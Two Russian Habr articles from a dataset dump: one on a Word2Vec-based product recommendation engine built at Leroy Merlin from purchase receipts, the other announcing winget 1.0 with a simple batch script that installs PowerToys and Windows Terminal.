Некоторое время назад IT в «Леруа Мерлен» претерпело довольно много [изменений](https://habr.com/ru/company/leroy_merlin/blog/457466/). Было перепилено довольно много систем, практически все писались с нуля. Одной из таких систем была Публикационная Платформа, которая занималась передачей данных о продуктах на сайт и пришла на замену старой системе OPUS. Помимо всего прочего, в этой системе были микросервисы, отвечающие за рекомендации. Я не буду тратить время читателя на объяснение старой логики наполнения рекомендаций, скажу лишь, что первую половину 2020 года на официальном сайте крупнейшего ритейлера можно было увидеть следующее.
Как замену для
рихтовочного набораРихтовочный набор — набор молотков и наковален для исправления деформаций кузова автомобиля.
сайт на полном серьёзе предлагал прикупить заготовку для выпиливания лобзиком.
А к мусорному мешку предлагалось прикупить защитный комбинезон и респиратор, и это ещё до пандемии)
В общем, было весело всем, кроме бизнеса. Встал вопрос о том, как исправить ситуацию. В то время в нашей команде дата-сайентистов не было, поэтому задача ушла простым разработчикам. И вот что мы придумали.
Проблематика
------------
У нас есть много специалистов, которые любят свою работу и хорошо знают свой товар. Они на 100% знают, что можно предложить в качестве замены, если искомого товара нет в наличии
(похожие товары) или что ещё может понадобиться дополнительно (сопутствующие товары). Большинство этих сотрудников работает в магазинах и ежедневно консультирует наших клиентов как раз по этим вопросам, но мы не можем попросить их составлять для нас рекомендации: им есть чем заняться. Специфика ритейла заключается в том, что за год меняется до 20% ассортимента. А товаров очень много. Вбивать всё это руками — не вариант, нужен другой подход.
Мы подумали, что наш клиент, совершая покупку, каждый раз сам решает, подходят ли эти обои именно к такому плинтусу или это зеркало к тумбе для ванной. А в сложных моментах его консультируют наши профессионалы. И он голосует за своё решение рублём, покупая у нас товар, — почему бы не использовать эти данные? Таким образом, мы переформулировали нашу задачу так:
как из массива чеков получить информацию о том, какой товар к какому подходит?
Word2Vec
--------
Алгоритм, который мы использовали, был разработан Google в 2013 году и называется `Word2Vec`.
Как следует из его названия, он переводит «слово» в «вектор» на основании контекста, на котором его обучают. При этом после обучения «схожие по контексту» слова будут иметь близкие векторы, а различные — далёкие.
Идея перевода слов в векторы может показаться нетривиальной, тут можно привести следующую аналогию.
Допустим, есть 2 машины, BMW и Запорожец. Рассмотрим их с точки зрения габаритных характеристик. Возьмём ширину и высоту каждого и построим на двухмерной плоскости векторы, соответствующие этим машинам. Получится примерно следующее:
Расстояние между двумя векторами — это степень «похожести» двух автомобилей. Тут мы видим, что 2 машины не так уж и сильно отличаются друг от друга, если просто стоят и занимают место в гараже.
Если же мы добавим к контексту скорость, то получим совершенно другую картину:
Теперь 2 вектора имеют куда большее расстояние, и мы понимаем, что автомобили в этом контексте уже значительно отличаются друг от друга.
Это пример того, как разные сущности в зависимости от контекста могут быть представлены различными векторами.
Для желающих подробно погрузиться в теорию на Хабре есть много статей по этой теме, например, [тут](https://habr.com/ru/post/446530/) и [тут](https://habr.com/ru/post/249215/). Мы же вернёмся к нашим рекомендациям.
Word2Vec в рекомендациях
------------------------
Как я уже говорил, наш контекст, т. е. то, на чём мы будем обучать нашу модель, — это чеки. А именно текстовые файлы, каждая строчка в которых это набор артикулов товаров через пробел, которые в одном чеке были куплены:
Возникает вопрос: как в этих чеках наша модель сможет найти какие-то закономерности?
Можно представить себе следующую аналогию. Допустим, есть 2 чека:
В этих чеках все товары одинаковые, кроме `13227536` и `33444222`. Что это означает?
С некой долей вероятности мы можем предположить, что было 2 клиента, которые решали одну и ту же задачу (т. к. все, кроме одного, товары одинаковые), и они её решили, но решили по-разному. Т. е. с некой долей вероятности можно предположить, что товар `13227536` может быть заменён на `33444222`, т. е. это похожие товары.
Теперь рассмотрим другой случай:
Тут чек номер 2 включает в себя чек номер 1. С некой долей вероятности мы можем предположить, что также были 2 клиента, решавшие одну задачу, но клиент, оформивший второй чек, решил купить больше товаров. Тут мы можем предположить, что товары, отмеченные фиолетовым, `12355478` `78856433` являются сопутствующими товарами к товарам, которые отмечены жёлтым.
Теперь перейдём к обещанным двум строчкам кода.
### Код
Код для обучения модели будет выглядеть следующим образом и будет представлять из себя не что иное, как вызов библиотечной функции `gensim`.
```
model = gensim.models.Word2Vec( rаw_сhecks, size=200, window=100, min_count=10, workers=4 )
```
Здесь везде используются дефолтные значения. Для того, чтобы получить рекомендации к товару с `product_id`, нам нужно попросить модель вернуть какое-то количество айдишников продуктов, векторы которых являются ближайшими к вектору продукта `product_id`.
```
similars = model.similar_by_word( product_id, 2000 )
```
Это весь движок. На этой строчке модель вернёт 2000 продуктов, но, как показано выше, там будут и похожие товары, и товары сопутствующие. Для того, чтобы отделить зёрна от плевел, нам придётся написать ещё 2 строчки:
```
substitutes = filter_same_type( similars, product_id_type )
complements = filter_different_type( similars, product_id_type )
```
Исходя из нашей доменной области, мы можем предположить, что один товар может заменить другой, только если у него тот же тип. Т. е. молоток мы можем заменить молотком, а не микроскопом. Поэтому из similar нужно взять товары, тип которых совпадает с типом `product_id`. Сопутствующие же товары, наоборот, должны быть другого типа. Вот и вся любовь.
Итоги
-----
А/Б-тест движка для похожих товаров показал общий прирост конверсии аж на 10% и на следующий же день был установлен в продакшн на 100% трафика. Хотелось бы заметить, что это не потому, что подход какой-то революционный, просто скорее всего то, что было раньше, никуда не годилось.
А/Б-тест для сопутствующих товаров показал прирост конверсии только в определённых категориях. И мы знаем почему: наши сотрудники часть сопутствующих товаров выставляют руками, а живая экспертиза довольно часто оказывается лучше машинного обучения, особенно если алгоритм такой незамысловатый. Тем не менее практика показывает, что мы можем рассматривать машинное обучение как помощник для людей, например, там, где у коллег не хватает ресурсов.
Из вышенаписанного мы можем сделать вывод, что эксперимент был удачный. А также из-за простоты модели понятно, что этому всему ещё есть куда расти.
Минусы подхода
--------------
Как я уже говорил, основной плюс в том, что это быстро и может проработать какое-то время пока, не придут настоящие дата-сайентисты и не сделают как надо. А они к нам, кстати, пришли, но об этом я расскажу в другой раз.
Из минусов подхода можно перечислить:
* `Word2Vec` вряд ли подойдёт для рекомендаций фильмов, музыки, книг и т. д. Это не про предпочтение определённого автора или жанра. В специфике DIY товары покупаются комплектом и под проект: купил обои — тебе точно нужен клей. Необходимость в клее не исчезнет, а вот боевики могут в какой-то период разонравиться, и хорошая рекомендательная система должна это как можно раньше диагностировать.
* Клиент, оказывается, не всегда прав. Есть хороший пример пары товаров, которые не подходят друг другу, но которые клиент всё равно покупает вместе, потому что «названия похожие». Потом, конечно, возвращает (наш движок, кстати, не учитывает возврат), но рекомендовать эти товары на официальном сайте компания себе позволить не может. Такие моменты нужно обходить в ручном режиме.
* Голый `Word2Vec` в данной статье учитывает только историю продаж. И не учитывает ничего больше. Это плохо. Например, существует много других способов находить похожие товары — по схожести фотографий, похожему названию и т. д.
* У такого подхода проблема с новинками. Пока новый товар не купят достаточное количество раз связки не сформируются. | https://habr.com/ru/post/540168/ | null | ru | null |
# Microsoft представила версию 1.0 пакетного менеджера winget
26 мая 2021 года Microsoft [представила](https://devblogs.microsoft.com/commandline/windows-package-manager-1-0/) версию 1.0 пакетного менеджера Windows Package Manager (winget), с помощью которого можно устанавливать, обновлять, настраивать и удалять приложения в ОС Windows 10 из командной строки, терминала Windows или PowerShell.
Microsoft опубликовала исходный код winget на [GitHub](https://github.com/microsoft/winget-cli/) под лицензией MIT License. Утилита написана на языке С++.
В [первой версии](https://github.com/microsoft/winget-cli/releases/) winget [доступны](https://docs.microsoft.com/ru-ru/windows/package-manager/winget/) команды: install, show, source, search, list, upgrade, uninstall, hash, validate, settings, features, export, import.
Системные администраторы могут создавать пакетные скрипты и скрипты PowerShell для установки нескольких приложений с помощью winget.
```
@echo off
Echo Install Powertoys and Terminal
REM Powertoys
winget install Microsoft.Powertoys
if %ERRORLEVEL% EQU 0 Echo Powertoys installed successfully.
REM Terminal
winget install Microsoft.WindowsTerminal
if %ERRORLEVEL% EQU 0 Echo Terminal installed successfully. %ERRORLEVEL%
```
*Пример установки Windows Terminal с помощью winget.*
*Просмотр установленных приложений в системе в консоли с помощью winget.*
*Пример удаления приложения через winget, регистр в наименовании приложения обязателен.*
В текущем репозитории сообщества [доступны](https://github.com/microsoft/winget-pkgs/tree/master/manifests/) более 1400 приложений для установки с помощью winget.
По [информации](https://www.opennet.ru/opennews/art.shtml?num=55227) OpenNet, по умолчанию при [установке winget](https://www.microsoft.com/ru-ru/p/app-installer/9nblggh4nns1?activetab=pivot:overviewtab) с помощью готовых сборок включена отправка телеметрии — Microsoft получает данные о взаимодействии пользователя с пакетным менеджером и возникающих ошибках. Для отключения телеметрии нужно зайти в настройки: «Settings > Privacy > Diagnostics & feedback» и установить там значение «Basic» или собрать winget из исходных кодов самостоятельно. | https://habr.com/ru/post/559922/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.